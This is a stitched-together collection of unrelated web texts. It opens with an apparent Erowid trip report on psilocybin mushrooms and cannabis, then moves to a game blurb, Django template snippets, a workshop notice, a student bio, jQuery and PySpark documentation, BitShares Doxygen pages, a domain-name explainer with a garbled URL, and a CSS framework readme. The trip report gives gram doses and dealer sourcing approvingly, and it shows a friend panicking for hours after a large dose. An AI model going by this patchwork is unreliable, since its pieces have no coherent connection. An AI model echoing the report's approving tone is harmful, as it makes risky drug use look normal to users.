Muchrooms (P. cubensis) & Cannabis
My experience with magic mushrooms has been one of the most satisfying, happy times of my life.
I had been wanting to trip for some time now. I had taken about 0.8 of a gram before of dried P. Cubensis, but I didn't really feel anything. I had been on websites about shrooms and was reading on what they do to you and it started to sound really interesting. One of my friends, J, told me he could hook me up with some good shrooms that bruise blue. I had never heard of blue shrooms before, but they sounded powerful. Me and my other friend D, pitched on a quarter of shrooms. We were both going to take 3.5 grams each. We gave the money to J, and he left to go pick up the shrooms. When he came back, we were disappointed. He didn't get the shrooms. He had taken too long to get there and his dealer had already sold them.
About a week later, me and J were pitching on a quarter of marijuana for the day. I went to pick up he quarter from my dealer, and long time friend, A.  He then told me that he had real shrooms. I knew that in the past he didn't sell shrooms because he didn't do them because he had bad experiences. But he said that they bruise blue too, and that a few of his buddies took some and they were tripping. So I told him iI would think about it.
Later on that night we had smoked almost all of that quarter and there was a few more people over and H's house. H's dad is gone to Europe for 2 months.  There were a lot more people there now and some of them were thinking about taking shrooms. We called up A(my dealer), and I met up with him and we got a half of shrooms. I got 4 grams out of it. I gave my friend D a gram, and I took 1.5.  My other friends that were there, S, and Adam ate 5 and 3 grams.
As soon as I finished eating the shrooms, I could start to feel the effects. I got very anxious, and excited for what was going to happen to me. These shrooms tasted REALLY bad so I ate it with some muffins. It killed the taste completely. I went into the other room to listen to some music and feel the shrooms come on clean. I started to get a really warm feeling and very happy. The feeling of Euphoria is beautiful. Things started to get a little more happier and then I went into the other room to see my other friends.
When I got into the other room, I was just chilling. Still feeling happy, still feeling anxious. I looked at the T.V. and it was starting to get really bright. The colours were alot more noticable. We were watching conan the barbarier, and I remember noticing colours and textures from the T.V. blending together. I was getting a little curious about it, because I realized I was on shrooms, but I wasn't expecting to get these kind of visual effects. I was asking if it was just me or if there was a firey texture all across the tv screen.
 He said it was X, but X doesn't usually come in gel caps.  It was the funniest thing to me. I don't know why but when I looked back at his face, his smile went so far up his cheeks, it was almost touching his forehead. This was wierd. It was a very different buzz then what I am used to.
I remember it started to hit me a lot when I looked down the hall and at the front door, and the window was contracting and expanding, and thats when I knew in my mind it was hitting me. I looked over at the book shelf in the room I was in and remember saying something like, 'that book shelf is gonna fall over, there is too much weight on it!'. When I looked at the top shelf, it was as if all the shelfs were folding into each other through the middle.
I looked over at the T.V. and Jay Leno was on. I looked in his background, and all the buildings looked as if they were melting together and flowing through each other. I remember saying somthing about that but it didn't seem like a big deal at the time. Everything got really blurry and things looked as if they were constantly shaking. It seemed like we were never quiet, constantly screaming about something, and laughing at everything.
I remember for about 5 minutes, I just looked down at my arm and stared at it because I could see so many wrinkles all over it, like I was 1000 years old or something. I remember looking up at a picture on the wall of a forest, and seeing Jevins face in it laughing. I looked over at one of the trees and the branches on the trees were reaching out of the painting towards me. They were all winding together and spreading out onto the wall. I just said something about it, but nobody payed attention to it.
I looked into the dining room and there was this mask type thing hanging on the wall. It looked like a native man, and I remember that room glowing bright. The mask asked me to go into the other room, but I told him I didn't trust him and that I was perfectly fine where I was.
One of the other guys who was tripping with me, S, brought a girl, L. I remember looking back at her head was expanding like a balloon being inflated. Everything people were telling me was coming into my brain, and then intantly forgotten a second later. H kept bothering me to light a joint, but for the first time in a long time, I didn't feel like smoking. This shroom high was just about enough for me. Eventually, I lit a joint, took one hit, felt sick, and then put it out. I looked down at the couch and it was shining bright green. Time was going by so slowing and what seemed like an hour was really only a few minutes. I thought I was trapped in time and I didn't know if I would ever come down from this trip.
Every face that I looked at was moving and I remember looking at D's face and one of his eyes was on his chin and his mouth was on his forehead. His mouth was moving and it seemed to spiral in my mind. I looked at the T.V. and it was still Jay Leno. It seemed like it was over, but it was still only 5 mintues in. The screen of the T.V. was rippling and even though I knew I was on this drug I still didn't understand what was happening and why I was seeing these things.
The whole time I had to take a piss, but I was too scared to get up and go to the bathroom because I didn't like the idea of being alone.  Finally I got the courage to get up and go to the bathroom. I closed the door and remember hearing the screaming and yelling that was going on in the back ground start to fade away. I started to piss, too scared to turn around and look into the mirror in case I wasn't really there. I looked at the tiles on the wall and they were moving fast, almost as if they were cars on a highway, speeding. I looked below me and saw the heating vent. It was almost as if it was sucking me in. I then finished pissing and then I looked into the mirror and saw that there was so many little things on my face I didn't notice before. It was like I could see every pore on my face.
I then went back into the other room. I sat down again and started tripping more. We then decided to go outside, We stepped out onto the porch and looked around. Little nails in the deck looked like crawling beetles to me. I rememebr everything outside looked like it was glowing green. Colours would flash in and out of my vision. I looked at some wood on the deck and it was as if there was a stream flowing through it. I didn't think much of it then. I just stared, trying to capture that image. I can still see it now. That beautiful, peaceful stream flowing through that wood.
We went inside because we though we heard cops coming into the drive way. of course, there was none. We chilled in H's living room for a while, just tripping and enjoying it. When we started to come down, we were still saying random, wierd things, but I wasn't tripping as much. I was almost completly done my buzz when S started to freak out.
He said that there was something wrong with his legs. He kept pulling his pants up and looking at his legs. He got up and looked at me. I remember looking into his eyes, all I saw was pure, genuine terror. It got me scared how scared he was. He was saying that we did something to him. He later told me that when he looked at us, it was as if there was something noticably wrong with him, and we knew it, but we didn't want to tell him. Well, he did take 5 grams. We couldn't get him to calm down and he kept getting more and more scared. For 3 hours he was scared and we finally got him to calm down and go to sleep.
I didn't get to sleep until 5 am and I took the shrooms at 9:30. By about 11:30 I hit my peak and started to come down around 2 in the morning.  Maybe it was the setting and the dosage was about right, because the time I had last night will never be forgotten. I still have another 1.5 grams and I am going to eat that in a few days.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Nick and Griffin are good, good boys and they are very, very afraid of the dark. Thank goodness there's you, mighty wizard! You have magic eyes and can see the mystical lumens that are all over the world of light.
Use your magic eyes to look for lumens. Collect 10 of them every time you look. Once you've collected 10, the zone of light you are in will go dark and you'll have to move back into the light world to look for more lumens. Dark zones expire in 10 minutes.

Good luck!


{% load assignments %} {% if object.slug %}{% assign object.slug as pk %}{% else %}{% assign object.pk as pk %}{% endif %}
{% if object.assigned_to %} Assigned to: {{ object.assigned_to.full_name }} (clear). {% else %} Not assigned (assign yourself). {% endif %}


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The D-MMEP 2021 workshop is scheduled between July 7 - July 10, 2021 (Tentative) at Washington D.C. (Virtual)
Virtual
The following are the nearby hotels to the conference location. The workshop does not reserve a block in any
hotel. Please reserve your hotel rooms soon since they are generally sold fast.
TBA


my name is Kepha Nyamweya Timi first born in a family of four.i went to Itibo boys primary where i did my kcpe and proceeded to Kegati high school. uopn completion i had a chance to join campus and study my bachelors degree in procurement.later did my internship and then moved to hustle my way due to lack of a decent job.
I heard of Moringa school from a friend when they heard that i want to learn about tech stuff so i went through their website and i felt this is the place to be.
i love playing video games and i enjoy travelling and seeing beautiful scenaries.i am learning how to code and the languages html and css are coming up quite interesting


bindWithDelay jQuery Plugin (see example)
The Basics
- What does bindWithDelay do? It prevents a function call from happening EVERY time an event is fired from the browser. Rather than implementing custom timeout code, just add in this plugin and simplify your code.
- How do I use it in code?
Pretty much the same as http://api.jquery.com/bind/ element.bindWithDelay( eventType, [ eventData ], handler(eventObject), timeout, throttle )
It works with existing code that uses the bind() function. Just add an extra parameter (timeout in milliseconds), and an optional boolean value if you would like to enable throttling.// If your code that uses bind(), just add in a timeout parameter. $("#element").bind("click", function() {...}); $("#element").bindWithDelay("click", function() {...}, 1000); // If your code that uses click(), you will need to do it the same way. $("#element").click(function() {...}, 1000); $("#element").bindWithDelay("click", function() {...}, 1000); // If you would like to let it still fire once per interval while an event is fired // (called "throttling"), then put a true in for the throttle parameter: $("#element").bindWithDelay("click", function() {...}, 1000, true);
- Where is the source code?
http://github.com/bgrins/bindWithDelay/blob/master/bindWithDelay.js
What is the difference between throttling and not?
Imagine you are scrolling down a long page for 3 seconds and you have bindWithDelay running with a timeout of 1000ms. By default, your event will only fire a second after you have completely finished scrolling. If you have the optional throttling on, it will fire once per second during the scrolling - a total of 3 times instead of 1. Move your mouse around in circles and look at the example below to see:
A Simple Example
As you have been on this page, it has been tracking how many times your browser's mousemove, click, scroll, and resize events have fired (both with and without bindWithDelay). Go ahead and move your mouse around and click (try clicking a bunch of times in a row to see what it does) , or resize your browser to get a look at how it works.
$(document).on("mousemove") has been called: 0 times.
$(document).onDelay("mousemove", 1000) has been called: 0 times.
$(document).onDelay("mousemove", 1000, true) has been called: 0 times.
$(document).on("click") has been called: 0 times.
$(document).onDelay("click", 1000) has been called: 0 times.
$(document).onDelay("click", 1000, true) has been called: 0 times.
$(document).on("scroll") has been called: 0 times.
$(document).onDelay("scroll", 1000) has been called: 0 times.
$(document).onDelay("scroll", 1000, true) has been called: 0 times.
$(window).on("resize") has been called: 0 times.
$(window).onDelay("resize", 1000) has been called: 0 times.
$(window).onDelay("resize", 1000, true) has been called: 0 times.


|
Bitshares-Core
3.0.0
BitShares blockchain implementation and command-line interface software
|
#include <chain_parameters.hpp>
Classes | |
| struct | ext |
Public Member Functions | |
| void | validate () const |
Public Attributes | |
| smart_ref< fee_schedule > | current_fees |
| current schedule of fees More... | |
| uint8_t | block_interval = GRAPHENE_DEFAULT_BLOCK_INTERVAL |
| interval in seconds between blocks More... | |
| uint32_t | maintenance_interval = GRAPHENE_DEFAULT_MAINTENANCE_INTERVAL |
| interval in sections between blockchain maintenance events More... | |
| uint8_t | maintenance_skip_slots = GRAPHENE_DEFAULT_MAINTENANCE_SKIP_SLOTS |
| number of block_intervals to skip at maintenance time More... | |
| uint32_t | committee_proposal_review_period = GRAPHENE_DEFAULT_COMMITTEE_PROPOSAL_REVIEW_PERIOD_SEC |
| minimum time in seconds that a proposed transaction requiring committee authority may not be signed, prior to expiration More... | |
| uint32_t | maximum_transaction_size = GRAPHENE_DEFAULT_MAX_TRANSACTION_SIZE |
| maximum allowable size in bytes for a transaction More... | |
| uint32_t | maximum_block_size = GRAPHENE_DEFAULT_MAX_BLOCK_SIZE |
| maximum allowable size in bytes for a block More... | |
| uint32_t | maximum_time_until_expiration = GRAPHENE_DEFAULT_MAX_TIME_UNTIL_EXPIRATION |
| maximum lifetime in seconds for transactions to be valid, before expiring More... | |
| uint32_t | maximum_proposal_lifetime = GRAPHENE_DEFAULT_MAX_PROPOSAL_LIFETIME_SEC |
| maximum lifetime in seconds for proposed transactions to be kept, before expiring More... | |
| uint8_t | maximum_asset_whitelist_authorities = GRAPHENE_DEFAULT_MAX_ASSET_WHITELIST_AUTHORITIES |
| maximum number of accounts which an asset may list as authorities for its whitelist OR blacklist More... | |
| uint8_t | maximum_asset_feed_publishers = GRAPHENE_DEFAULT_MAX_ASSET_FEED_PUBLISHERS |
| the maximum number of feed publishers for a given asset More... | |
| uint16_t | maximum_witness_count = GRAPHENE_DEFAULT_MAX_WITNESSES |
| maximum number of active witnesses More... | |
| uint16_t | maximum_committee_count = GRAPHENE_DEFAULT_MAX_COMMITTEE |
| maximum number of active committee_members More... | |
| uint16_t | maximum_authority_membership = GRAPHENE_DEFAULT_MAX_AUTHORITY_MEMBERSHIP |
| largest number of keys/accounts an authority can have More... | |
| uint16_t | reserve_percent_of_fee = GRAPHENE_DEFAULT_BURN_PERCENT_OF_FEE |
| the percentage of the network's allocation of a fee that is taken out of circulation More... | |
| uint16_t | network_percent_of_fee = GRAPHENE_DEFAULT_NETWORK_PERCENT_OF_FEE |
| percent of transaction fees paid to network More... | |
| uint16_t | lifetime_referrer_percent_of_fee = GRAPHENE_DEFAULT_LIFETIME_REFERRER_PERCENT_OF_FEE |
| percent of transaction fees paid to network More... | |
| uint32_t | cashback_vesting_period_seconds = GRAPHENE_DEFAULT_CASHBACK_VESTING_PERIOD_SEC |
| time after cashback rewards are accrued before they become liquid More... | |
| share_type | cashback_vesting_threshold = GRAPHENE_DEFAULT_CASHBACK_VESTING_THRESHOLD |
| the maximum cashback that can be received without vesting More... | |
| bool | count_non_member_votes = true |
| set to false to restrict voting privlegages to member accounts More... | |
| bool | allow_non_member_whitelists = false |
| true if non-member accounts may set whitelists and blacklists; false otherwise More... | |
| share_type | witness_pay_per_block = GRAPHENE_DEFAULT_WITNESS_PAY_PER_BLOCK |
| CORE to be allocated to witnesses (per block) More... | |
| uint32_t | witness_pay_vesting_seconds = GRAPHENE_DEFAULT_WITNESS_PAY_VESTING_SECONDS |
| vesting_seconds parameter for witness VBO's More... | |
| share_type | worker_budget_per_day = GRAPHENE_DEFAULT_WORKER_BUDGET_PER_DAY |
| CORE to be allocated to workers (per day) More... | |
| uint16_t | max_predicate_opcode = GRAPHENE_DEFAULT_MAX_ASSERT_OPCODE |
| predicate_opcode must be less than this number More... | |
| share_type | fee_liquidation_threshold = GRAPHENE_DEFAULT_FEE_LIQUIDATION_THRESHOLD |
| value in CORE at which accumulated fees in blockchain-issued market assets should be liquidated More... | |
| uint16_t | accounts_per_fee_scale = GRAPHENE_DEFAULT_ACCOUNTS_PER_FEE_SCALE |
| number of accounts between fee scalings More... | |
| uint8_t | account_fee_scale_bitshifts = GRAPHENE_DEFAULT_ACCOUNT_FEE_SCALE_BITSHIFTS |
| number of times to left bitshift account registration fee at each scaling More... | |
| uint8_t | max_authority_depth = GRAPHENE_MAX_SIG_CHECK_DEPTH |
| extension< ext > | extensions |
Definition at line 39 of file chain_parameters.hpp.
| void graphene::chain::chain_parameters::validate | ( | ) | const |
defined in fee_schedule.cpp
Definition at line 169 of file fee_schedule.cpp.
| uint8_t graphene::chain::chain_parameters::account_fee_scale_bitshifts = GRAPHENE_DEFAULT_ACCOUNT_FEE_SCALE_BITSHIFTS |
number of times to left bitshift account registration fee at each scaling
Definition at line 69 of file chain_parameters.hpp.
| uint16_t graphene::chain::chain_parameters::accounts_per_fee_scale = GRAPHENE_DEFAULT_ACCOUNTS_PER_FEE_SCALE |
number of accounts between fee scalings
Definition at line 68 of file chain_parameters.hpp.
| bool graphene::chain::chain_parameters::allow_non_member_whitelists = false |
true if non-member accounts may set whitelists and blacklists; false otherwise
Definition at line 62 of file chain_parameters.hpp.
| uint8_t graphene::chain::chain_parameters::block_interval = GRAPHENE_DEFAULT_BLOCK_INTERVAL |
interval in seconds between blocks
Definition at line 43 of file chain_parameters.hpp.
| uint32_t graphene::chain::chain_parameters::cashback_vesting_period_seconds = GRAPHENE_DEFAULT_CASHBACK_VESTING_PERIOD_SEC |
time after cashback rewards are accrued before they become liquid
Definition at line 59 of file chain_parameters.hpp.
| share_type graphene::chain::chain_parameters::cashback_vesting_threshold = GRAPHENE_DEFAULT_CASHBACK_VESTING_THRESHOLD |
the maximum cashback that can be received without vesting
Definition at line 60 of file chain_parameters.hpp.
| uint32_t graphene::chain::chain_parameters::committee_proposal_review_period = GRAPHENE_DEFAULT_COMMITTEE_PROPOSAL_REVIEW_PERIOD_SEC |
minimum time in seconds that a proposed transaction requiring committee authority may not be signed, prior to expiration
Definition at line 46 of file chain_parameters.hpp.
| bool graphene::chain::chain_parameters::count_non_member_votes = true |
set to false to restrict voting privlegages to member accounts
Definition at line 61 of file chain_parameters.hpp.
| smart_ref<fee_schedule> graphene::chain::chain_parameters::current_fees |
current schedule of fees
using a smart ref breaks the circular dependency created between operations and the fee schedule
Definition at line 42 of file chain_parameters.hpp.
Definition at line 77 of file chain_parameters.hpp.
| share_type graphene::chain::chain_parameters::fee_liquidation_threshold = GRAPHENE_DEFAULT_FEE_LIQUIDATION_THRESHOLD |
value in CORE at which accumulated fees in blockchain-issued market assets should be liquidated
Definition at line 67 of file chain_parameters.hpp.
| uint16_t graphene::chain::chain_parameters::lifetime_referrer_percent_of_fee = GRAPHENE_DEFAULT_LIFETIME_REFERRER_PERCENT_OF_FEE |
percent of transaction fees paid to network
Definition at line 58 of file chain_parameters.hpp.
| uint32_t graphene::chain::chain_parameters::maintenance_interval = GRAPHENE_DEFAULT_MAINTENANCE_INTERVAL |
interval in sections between blockchain maintenance events
Definition at line 44 of file chain_parameters.hpp.
| uint8_t graphene::chain::chain_parameters::maintenance_skip_slots = GRAPHENE_DEFAULT_MAINTENANCE_SKIP_SLOTS |
number of block_intervals to skip at maintenance time
Definition at line 45 of file chain_parameters.hpp.
| uint8_t graphene::chain::chain_parameters::max_authority_depth = GRAPHENE_MAX_SIG_CHECK_DEPTH |
Definition at line 70 of file chain_parameters.hpp.
| uint16_t graphene::chain::chain_parameters::max_predicate_opcode = GRAPHENE_DEFAULT_MAX_ASSERT_OPCODE |
predicate_opcode must be less than this number
Definition at line 66 of file chain_parameters.hpp.
| uint8_t graphene::chain::chain_parameters::maximum_asset_feed_publishers = GRAPHENE_DEFAULT_MAX_ASSET_FEED_PUBLISHERS |
the maximum number of feed publishers for a given asset
Definition at line 52 of file chain_parameters.hpp.
| uint8_t graphene::chain::chain_parameters::maximum_asset_whitelist_authorities = GRAPHENE_DEFAULT_MAX_ASSET_WHITELIST_AUTHORITIES |
maximum number of accounts which an asset may list as authorities for its whitelist OR blacklist
Definition at line 51 of file chain_parameters.hpp.
| uint16_t graphene::chain::chain_parameters::maximum_authority_membership = GRAPHENE_DEFAULT_MAX_AUTHORITY_MEMBERSHIP |
largest number of keys/accounts an authority can have
Definition at line 55 of file chain_parameters.hpp.
| uint32_t graphene::chain::chain_parameters::maximum_block_size = GRAPHENE_DEFAULT_MAX_BLOCK_SIZE |
maximum allowable size in bytes for a block
Definition at line 48 of file chain_parameters.hpp.
| uint16_t graphene::chain::chain_parameters::maximum_committee_count = GRAPHENE_DEFAULT_MAX_COMMITTEE |
maximum number of active committee_members
Definition at line 54 of file chain_parameters.hpp.
| uint32_t graphene::chain::chain_parameters::maximum_proposal_lifetime = GRAPHENE_DEFAULT_MAX_PROPOSAL_LIFETIME_SEC |
maximum lifetime in seconds for proposed transactions to be kept, before expiring
Definition at line 50 of file chain_parameters.hpp.
| uint32_t graphene::chain::chain_parameters::maximum_time_until_expiration = GRAPHENE_DEFAULT_MAX_TIME_UNTIL_EXPIRATION |
maximum lifetime in seconds for transactions to be valid, before expiring
Definition at line 49 of file chain_parameters.hpp.
| uint32_t graphene::chain::chain_parameters::maximum_transaction_size = GRAPHENE_DEFAULT_MAX_TRANSACTION_SIZE |
maximum allowable size in bytes for a transaction
Definition at line 47 of file chain_parameters.hpp.
| uint16_t graphene::chain::chain_parameters::maximum_witness_count = GRAPHENE_DEFAULT_MAX_WITNESSES |
maximum number of active witnesses
Definition at line 53 of file chain_parameters.hpp.
| uint16_t graphene::chain::chain_parameters::network_percent_of_fee = GRAPHENE_DEFAULT_NETWORK_PERCENT_OF_FEE |
percent of transaction fees paid to network
Definition at line 57 of file chain_parameters.hpp.
| uint16_t graphene::chain::chain_parameters::reserve_percent_of_fee = GRAPHENE_DEFAULT_BURN_PERCENT_OF_FEE |
the percentage of the network's allocation of a fee that is taken out of circulation
Definition at line 56 of file chain_parameters.hpp.
| share_type graphene::chain::chain_parameters::witness_pay_per_block = GRAPHENE_DEFAULT_WITNESS_PAY_PER_BLOCK |
CORE to be allocated to witnesses (per block)
Definition at line 63 of file chain_parameters.hpp.
| uint32_t graphene::chain::chain_parameters::witness_pay_vesting_seconds = GRAPHENE_DEFAULT_WITNESS_PAY_VESTING_SECONDS |
vesting_seconds parameter for witness VBO's
Definition at line 64 of file chain_parameters.hpp.
| share_type graphene::chain::chain_parameters::worker_budget_per_day = GRAPHENE_DEFAULT_WORKER_BUDGET_PER_DAY |
CORE to be allocated to workers (per day)
Definition at line 65 of file chain_parameters.hpp.


pyspark.sql.functions.
pandas_udf
Creates a pandas user defined function (a.k.a. vectorized user defined function).
Pandas UDFs are user defined functions that are executed by Spark using Arrow to transfer data and Pandas to work with the data, which allows vectorized operations. A Pandas UDF is defined using the pandas_udf as a decorator or to wrap the function, and no additional configuration is required. A Pandas UDF behaves as a regular PySpark function API in general.
New in version 2.3.0.
user-defined function. A python function if used as a standalone function
pyspark.sql.types.DataType
the return type of the user-defined function. The value can be either a pyspark.sql.types.DataType object or a DDL-formatted type string.
an enum value in pyspark.sql.functions.PandasUDFType. Default: SCALAR. This parameter exists for compatibility. Using Python type hints is encouraged.
pyspark.sql.functions.PandasUDFType
See also
pyspark.sql.GroupedData.agg
pyspark.sql.DataFrame.mapInPandas
pyspark.sql.GroupedData.applyInPandas
pyspark.sql.PandasCogroupedOps.applyInPandas
pyspark.sql.UDFRegistration.register
Notes
The user-defined functions do not support conditional expressions or short circuiting in boolean expressions and it ends up with being executed all internally. If the functions can fail on special rows, the workaround is to incorporate the condition into the functions.
The user-defined functions do not take keyword arguments on the calling side.
The data type of returned pandas.Series from the user-defined functions should be matched with defined returnType (see types.to_arrow_type() and types.from_arrow_type()). When there is mismatch between them, Spark might do conversion on returned data. The conversion is not guaranteed to be correct and results should be checked for accuracy by users.
types.to_arrow_type()
types.from_arrow_type()
Currently, pyspark.sql.types.ArrayType of pyspark.sql.types.TimestampType and nested pyspark.sql.types.StructType are currently not supported as output types.
pyspark.sql.types.ArrayType
pyspark.sql.types.TimestampType
pyspark.sql.types.StructType
Examples
In order to use this API, customarily the below are imported:
>>> import pandas as pd >>> from pyspark.sql.functions import pandas_udf
From Spark 3.0 with Python 3.6+, Python type hints detect the function types as below:
>>> @pandas_udf(IntegerType()) ... def slen(s: pd.Series) -> pd.Series: ... return s.str.len()
Prior to Spark 3.0, the pandas UDF used functionType to decide the execution type as below:
>>> from pyspark.sql.functions import PandasUDFType >>> from pyspark.sql.types import IntegerType >>> @pandas_udf(IntegerType(), PandasUDFType.SCALAR) ... def slen(s): ... return s.str.len()
It is preferred to specify type hints for the pandas UDF instead of specifying pandas UDF type via functionType which will be deprecated in the future releases.
Note that the type hint should use pandas.Series in all cases but there is one variant that pandas.DataFrame should be used for its input or output type hint instead when the input or output column is of pyspark.sql.types.StructType. The following example shows a Pandas UDF which takes long column, string column and struct column, and outputs a struct column. It requires the function to specify the type hints of pandas.Series and pandas.DataFrame as below:
>>> @pandas_udf("col1 string, col2 long") >>> def func(s1: pd.Series, s2: pd.Series, s3: pd.DataFrame) -> pd.DataFrame: ... s3['col2'] = s1 + s2.str.len() ... return s3 ... >>> # Create a Spark DataFrame that has three columns including a struct column. ... df = spark.createDataFrame( ... [[1, "a string", ("a nested string",)]], ... "long_col long, string_col string, struct_col struct<col1:string>") >>> df.printSchema() root |-- long_column: long (nullable = true) |-- string_column: string (nullable = true) |-- struct_column: struct (nullable = true) | |-- col1: string (nullable = true) >>> df.select(func("long_col", "string_col", "struct_col")).printSchema() |-- func(long_col, string_col, struct_col): struct (nullable = true) | |-- col1: string (nullable = true) | |-- col2: long (nullable = true)
In the following sections, it describes the combinations of the supported type hints. For simplicity, pandas.DataFrame variant is omitted.
pandas.Series, … -> pandas.Series
The function takes one or more pandas.Series and outputs one pandas.Series. The output of the function should always be of the same length as the input.
>>> @pandas_udf("string") ... def to_upper(s: pd.Series) -> pd.Series: ... return s.str.upper() ... >>> df = spark.createDataFrame([("John Doe",)], ("name",)) >>> df.select(to_upper("name")).show() +--------------+ |to_upper(name)| +--------------+ | JOHN DOE| +--------------+
>>> @pandas_udf("first string, last string") ... def split_expand(s: pd.Series) -> pd.DataFrame: ... return s.str.split(expand=True) ... >>> df = spark.createDataFrame([("John Doe",)], ("name",)) >>> df.select(split_expand("name")).show() +------------------+ |split_expand(name)| +------------------+ | [John, Doe]| +------------------+
Note
The length of the input is not that of the whole input column, but is the length of an internal batch used for each call to the function.
Iterator[pandas.Series] -> Iterator[pandas.Series]
The function takes an iterator of pandas.Series and outputs an iterator of pandas.Series. In this case, the created pandas UDF instance requires one input column when this is called as a PySpark column. The length of the entire output from the function should be the same length of the entire input; therefore, it can prefetch the data from the input iterator as long as the lengths are the same.
It is also useful when the UDF execution requires initializing some states although internally it works identically as Series to Series case. The pseudocode below illustrates the example.
@pandas_udf("long") def calculate(iterator: Iterator[pd.Series]) -> Iterator[pd.Series]: # Do some expensive initialization with a state state = very_expensive_initialization() for x in iterator: # Use that state for whole iterator. yield calculate_with_state(x, state) df.select(calculate("value")).show()
>>> from typing import Iterator >>> @pandas_udf("long") ... def plus_one(iterator: Iterator[pd.Series]) -> Iterator[pd.Series]: ... for s in iterator: ... yield s + 1 ... >>> df = spark.createDataFrame(pd.DataFrame([1, 2, 3], columns=["v"])) >>> df.select(plus_one(df.v)).show() +-----------+ |plus_one(v)| +-----------+ | 2| | 3| | 4| +-----------+
The length of each series is the length of a batch internally used.
Iterator[Tuple[pandas.Series, …]] -> Iterator[pandas.Series]
The function takes an iterator of a tuple of multiple pandas.Series and outputs an iterator of pandas.Series. In this case, the created pandas UDF instance requires input columns as many as the series when this is called as a PySpark column. Otherwise, it has the same characteristics and restrictions as Iterator of Series to Iterator of Series case.
>>> from typing import Iterator, Tuple >>> from pyspark.sql.functions import struct, col >>> @pandas_udf("long") ... def multiply(iterator: Iterator[Tuple[pd.Series, pd.DataFrame]]) -> Iterator[pd.Series]: ... for s1, df in iterator: ... yield s1 * df.v ... >>> df = spark.createDataFrame(pd.DataFrame([1, 2, 3], columns=["v"])) >>> df.withColumn('output', multiply(col("v"), struct(col("v")))).show() +---+------+ | v|output| +---+------+ | 1| 1| | 2| 4| | 3| 9| +---+------+
pandas.Series, … -> Any
The function takes pandas.Series and returns a scalar value. The returnType should be a primitive data type, and the returned scalar can be either a python primitive type, e.g., int or float or a numpy data type, e.g., numpy.int64 or numpy.float64. Any should ideally be a specific scalar type accordingly.
>>> @pandas_udf("double") ... def mean_udf(v: pd.Series) -> float: ... return v.mean() ... >>> df = spark.createDataFrame( ... [(1, 1.0), (1, 2.0), (2, 3.0), (2, 5.0), (2, 10.0)], ("id", "v")) >>> df.groupby("id").agg(mean_udf(df['v'])).show() +---+-----------+ | id|mean_udf(v)| +---+-----------+ | 1| 1.5| | 2| 6.0| +---+-----------+
This UDF can also be used as window functions as below:
>>> from pyspark.sql import Window >>> @pandas_udf("double") ... def mean_udf(v: pd.Series) -> float: ... return v.mean() ... >>> df = spark.createDataFrame( ... [(1, 1.0), (1, 2.0), (2, 3.0), (2, 5.0), (2, 10.0)], ("id", "v")) >>> w = Window.partitionBy('id').orderBy('v').rowsBetween(-1, 0) >>> df.withColumn('mean_v', mean_udf("v").over(w)).show() +---+----+------+ | id| v|mean_v| +---+----+------+ | 1| 1.0| 1.0| | 1| 2.0| 1.5| | 2| 3.0| 3.0| | 2| 5.0| 4.0| | 2|10.0| 7.5| +---+----+------+
For performance reasons, the input series to window functions are not copied. Therefore, mutating the input series is not allowed and will cause incorrect results. For the same reason, users should also not rely on the index of the input series.


Image Credit:https://www.eapps.com/services/domain-names.php
A domain name is your website name. A domain name is the address where Internet users can access your website. In simple terms, if your website was a house, then your domain name will be its address.A domain name is used for finding and identifying computers on the Internet. Computers use IP addresses, which are a series of number. However, it is difficult for humans to remember strings of numbers. Because of this, domain names were developed and used to identify entities on the Internet rather than using IP addresses.
To identify them, each computer is assigned an IP address. It is a series of numbers that identify a particular computer on the internet. A typical IP address looks like this: <IP_ADDRESS> Now an IP address like this is quite difficult to remember. Imagine if you had to use such numbers to visit your favorite websites. Domain names were invented to solve this problem. Now if you want to visit a website, then you don’t need to enter a long string of numbers. Instead, you can visit it by typing an easy to remember domain name in your browser’s address bar. For example, facebook.com.
Now let us understand domain names in detail using the image below.
Let us not confuse Uniform Resource Locator (URL) with Domain Names because URL points to a location of the particular file only on the web. It can be any media such as image/video or any document as well. URL also provides information on, which format it should be presented in.
htthttps://www.eapps.com/services/domain-names.phpps:// represents a transfer protocol and directs how data will be transferred from a webpage to any browser, which can be cross-platform.
tinydancinghorse is the domain name used here. Here we can see that, whatever comes after the dot in a domain name is a domain extension
Explanation of Domain Names
TLD(Top Level Domains) is exactly what it sounds like: a type of domain name which is at the top level of the internet’s domain name system. For example, .com, .org, .net, and .edu. The official list is maintained by IANA.
ccTLD(Country Code Top Level Domains) use just two letters and are based upon international country codes, such as .in for India and.us for the United States. They’re often used by companies that are building dedicated sites for specific regions and can be a good way of signaling to users that they’ve arrived at the right place.
gTLD(Generic Top Level Domain) is essentially a top-level domain that doesn’t rely on a country code. Many gTLDs are intended for a specific use-case, such as .edu which is aimed at educational institutions.
Second-Level Domains is a domain that sits directly below a top-level domain name. For example, British companies occasionally use .co.uk instead of .com, and it’s a perfect example of a second-level domain. Another second-level domain is .gov.uk, which is often used by governmental institutions.
Subdomains are useful because they don’t require webmasters to purchase an additional domain name to create divisions within their site. Instead, they’re able to create a subdomain that effectively points to a specific directory on the server. This can be essential for campaign sites and other types of web content that should be kept separate from the main site. For example, support.google.com.


{% extends 'base.html' %} {% block title %}Error...{% endblock %} {% block page-header %}Error...{% endblock %} {% block container %}
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Front-end framework with a built-in dark mode and full customizability using CSS variables; great for building dashboards and tools.
To learn more, go to the documentation.
The quickest way to get started with Halfmoon is by using the CDN to include the following files:
<!-- Halfmoon CSS -->
<link<EMAIL_ADDRESS>rel="stylesheet" />
<!--
Or,
Use the following (no variables, supports IE11):
<link<EMAIL_ADDRESS>rel="stylesheet" />
-->
<!-- Halfmoon JS -->
<script<EMAIL_ADDRESS>Pleast note, the JS file should be placed at the end of the <body>
tag. Otherwise, some things may not work as expected. For example, using the onclick="..."
event to call one of Halfmoon's built-in methods will not work unless the JS file is placed at the end of the <body>
tag.
npm install halfmoon
After installation, the required CSS and JS file can be imported in the following way:
// Include CSS file
require("halfmoon/css/halfmoon-variables.min.css");
/*
Or,
Include the following (no variables, supports IE11):
require("halfmoon/css/halfmoon.min.css");
*/
// Import JS library
const halfmoon = require("halfmoon");
Please note that manual initialization is required for some components, that is, after the DOM is loaded, the following method needs to be called:
// Call this method after the DOM has been loaded
halfmoon.onDOMContentLoaded();
This initializes all of the components that require JavaScript, such as dropdowns, custom file inputs, shortcuts, etc.
In this way, Halfmoon can be used with frameworks that use the virtual DOM, such as React and Vue. For instance, in the case of Vue, the halfmoon.onDOMContentLoaded()
method would be called inside the mounted()
hook of your component.
